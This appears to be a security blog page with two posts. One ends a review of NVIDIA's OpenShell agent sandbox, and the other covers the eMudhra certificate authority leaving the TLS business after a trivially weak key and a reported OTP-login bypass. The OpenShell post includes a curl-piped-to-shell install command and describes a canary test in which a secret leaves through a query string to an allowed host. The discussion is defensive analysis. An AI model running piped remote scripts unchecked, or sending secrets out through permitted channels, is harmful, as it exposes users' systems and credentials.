The gateway is the new trusted core. Credentials now live with the gateway instead of the agent. That's a strictly better blast radius, but it moves the crown jewels — so who runs the gateway, and how it's backed up and audited, becomes your actual security boundary. Self-hosted via Helm is supported; treat that box like the keys it holds.
It's 0.1.x. Stable cadence, real tests, RFC process, security policy — but young. The prover's own docs enumerate exactly which policy shapes are out of model. Read the support matrix before pointing a production fleet at it.

Run it yourself

curl -LsSf https://raw.githubusercontent.com/NVIDIA/OpenShell/main/install.sh | sh
openshell sandbox create --name demo
# then: docs.nvidia.com/openshell → "Run Your First Agent" (OpenCode + free OpenRouter model)

And for the prover, the crate README carries a containment example you can build from source: a boundary policy, a candidate, check_within_boundary, and a CheckResult::Within or a counterexample. Ten minutes with the policy schema teaches you more about agent confinement than a month of threads.

Repo: github.com/NVIDIA/OpenShell · Docs: docs.nvidia.com/openshell · Apache 2.0, SDKs in Python/TypeScript/Go/Rust, skills for your coding agent (npx skills add NVIDIA/OpenShell).

Update (24 Oct) — a correction the threads earned

"Mechanism one" overshot, and kielltampubolon's question caught it: does the credential reach the child's environment, or attach at egress? The source answers env — inject_env in crates/openshell-providers merges resolved credentials into the child process's env map, and the README says the supervisor "injects credentials into agent child processes." The bullet above is corrected. What holds: credentials leave config and logs, and egress is policy-gated. What doesn't hold by default: proxy-style injection at request time — the gateway-interceptors middleware is the seam, and nothing in the default path attaches there.

Two additions the threads earned:

Egress approves destinations, not content (raju_dandigam). An approved host will carry whatever the child can read, at full bandwidth — a token riding a query string to an allowed domain is indistinguishable from legitimate traffic at that layer. His canary test pre-registers cleanly: plant a canary key, then three legs — write it to a log, echo it to stdout, send it to an approved host. On record before the run: the third leg leaves, because the policy was asked about the destination, never the payload. A fourth leg is worth adding: do the OCSF HTTP Activity events capture request headers? If the recorder logs the request, the evidence stream is itself a channel.
The evidence half got sharper (robertpaschal, five rounds): a keeper who is party to the dispute is a second speaker, and a custody grade only bites if a third party can derive it from the anchors without the keeper's cooperation. His strictest rule — a retention event may re-grade a drift finding, never close it; only the next independent anchor clears it — is stricter than what ships on the journal side today. Adopted there as a named change, not defended.

The title's claim survives in its precise form: the keys leave your config. They don't leave the process — and the canary test is how you keep checking.

TL;DR — the agent-security stack is assembling in layers this month: kernel sandboxes for confinement, gateway-held credentials for custody, SMT provers for policy review, and (from the other camp) journals and attestations for evidence. Your agent still can't be trusted. But it can finally be contained, funded, and proven — which is what "trusted" was supposed to mean all along.

The CA whose private key was the number 4 just quit the certificate business

Sam LABBE — Fri, 23 Oct 2026 08:39:43 +0000

On Tuesday, we showed you the certificate authority whose intermediate private key was literally the number 4 — recoverable in four guesses, valid until 2040, chained to roots every major platform trusted. Today, eMudhra's board answered: the company is exiting the global SSL/TLS certificate business entirely. And in a twist nobody ordered, the same day brought a full bypass of the one-time-password login on their certificate portal. Five days from key compromise to market exit — this is what the trust industry looks like when all of its enforcement mechanisms fire at once.

This is act two of Tuesday's post. Act one was cryptography; act two is economics and reputation — and the economics were already written before the incident started.

What the board actually said

The press release (Oct 22) is a fascinating document, because it does three things at once:

It claims diligence. Chairman V. Srinivasan: the affected intermediates were revoked "within 14 hours of discovery", disclosure was prompt, no end-entity certificates were issued from the affected CAs, infrastructure was not compromised, no data breached.

It admits the economics. Global SSL/TLS is about 1% of eMudhra's revenue. Data-sovereignty and compliance requirements keep raising the cost of running a public CA, and — the unnamed elephant — "some of the large entities issue the SSL/TLS free of cost". When your competition gives it away, a paid CA at 1% of revenue is a rounding error with an audit burden.

It blames the amplifier. The line that will be quoted for years: "the level of **social media amplification* around this incident has brought scrutiny that is out of proportion to SSL/TLS's place"* in the business.

Hold that thought.

The two mechanisms did their job

What happened this week is the trust market functioning through both of its enforcement layers, in order:

The technical layer, fast: Mozilla, Apple, Microsoft and Chrome blocked the compromised intermediates within three days of Wayne's disclosure (Oct 17 → 20). No customers needed to act; browsers just stopped trusting the chain. We verified the surviving gaps ourselves — stock macOS curl still trusting both paths — but the browser fabric held.
The reputation layer, slower and brutal: five days later, the board exits the business. Not because of the keys — because the keys made everyone look at a business that was already dying: 1% of revenue, against free competitors, under rising compliance costs.

Both things are true at once: eMudhra handled the incident competently, and the exit was inevitable. The incident didn't break the business; it moved the announcement up by a year or two. And "handled competently" has a hard ceiling in public trust — because of what the chairman said next.

"Scrutiny that is out of proportion"

A certificate authority is not in the business of certificates. It's in the business of proportionate scrutiny: the entire product is a system where the scrutiny applied to "is this really my bank?" is exactly as strong as the harm of getting it wrong. Anyone can demand proof at any time — that's the deal.

So when the chairman complains that amplification brought scrutiny out of proportion to the business's place in revenue — he's describing the product working as designed. A CA's revenue share is irrelevant to how much scrutiny it deserves; its trust share is what matters, and eMudhra's intermediates chained to roots in every major trust store on the planet. The scrutiny was everyone-sized because the trust was everyone-sized. If you want scrutiny proportional to your revenue, sell something else — which, to be fair, is exactly what the board just decided.

The same day: a full 1FA OTP bypass

While the press release went out, a researcher disclosed on Mastodon what they call a complete bypass of eMudhra's one-time-password login — in their words: "you can basically just rob any existing emudhra cert with this by just OSINTing the email associated and logging in".

Careful wording here, because this is a single disclosure we have not reproduced: no write-up with reproduction steps yet, and no vendor response at the time of writing. But the category matters more than the specifics: the key compromise was containable by root programs in 72 hours — they don't need eMudhra's cooperation. A takeover path into the live issuance portal is the opposite shape: it's a business-system compromise, the thing revocation and trust-store blocking can't reach. One incident was a cryptography problem; the other would be an identity problem. eMudhra is exiting the first one on a good week.

The lab: the claim you cannot check — by design

Here's the loop that closes. The chairman's central diligence claim is: no end-entity certificates were issued from the affected intermediates.

Can you verify that? No — and the reason is the same fact that saved the browsers on Monday: these intermediates were never logged in Certificate Transparency. Zero CT entries for their entire 18-month life. So:

# crt.sh search for the affected intermediate — returns nothing,
# BY CONSTRUCTION: an unlogged intermediate can't have countable leaves
curl -s "https://crt.sh/?identity=EM%20OV%20TLS%20CA%20-%20G3C" | grep -c "<TR>" || echo "0 rows"

Absence of evidence here is structural, not exculpatory. "No end-entity certificates" is unverifiable from the outside because the CA skipped the one public log that would have made it checkable. The same design choice that protected browsers from forged certs also shields the CA's issuance history from public audit. Verification of that claim requires eMudhra's own records — which is to say, it requires trusting the CA. The one thing this week taught us to price correctly.

(Your machine, meanwhile, still trusts the family: yesterday's one-liner still reports stock macOS curl connecting happily to the official test servers. The cert.pem workaround from Tuesday's post stays relevant until the bundle ships.)

What actually changes for users

Root programs don't just delete a CA overnight when it exits voluntarily — existing eMudhra/emSign certificates burn toward their notAfter with a communicated sunset, and customers migrate to another CA (and after this week, "another CA" now comes with a due-diligence question: show me your key-generation ceremony). The practical move for anyone holding an emSign-issued certificate today: don't wait for the sunset. Reissue from a CA whose intermediates you can find in CT logs. That's the whole lesson of the week in one procurement line.

TL;DR

Tuesday: the CA key was the number 4. Friday-to-Wednesday: blocked by every root program. Today: the board quits the business, cites free competitors and 1% of revenue, and blames the amplification — and a 1FA bypass lands the same day. The system worked at both layers; the scrutiny was exactly as proportionate as the trust being sold. And the one claim you'd want to check is unverifiable by design, because the CA never entered the public log.

Sources: eMudhra press release · Part 1 — A CA private key was the number 4 · 1FA OTP bypass disclosure · official disclosure site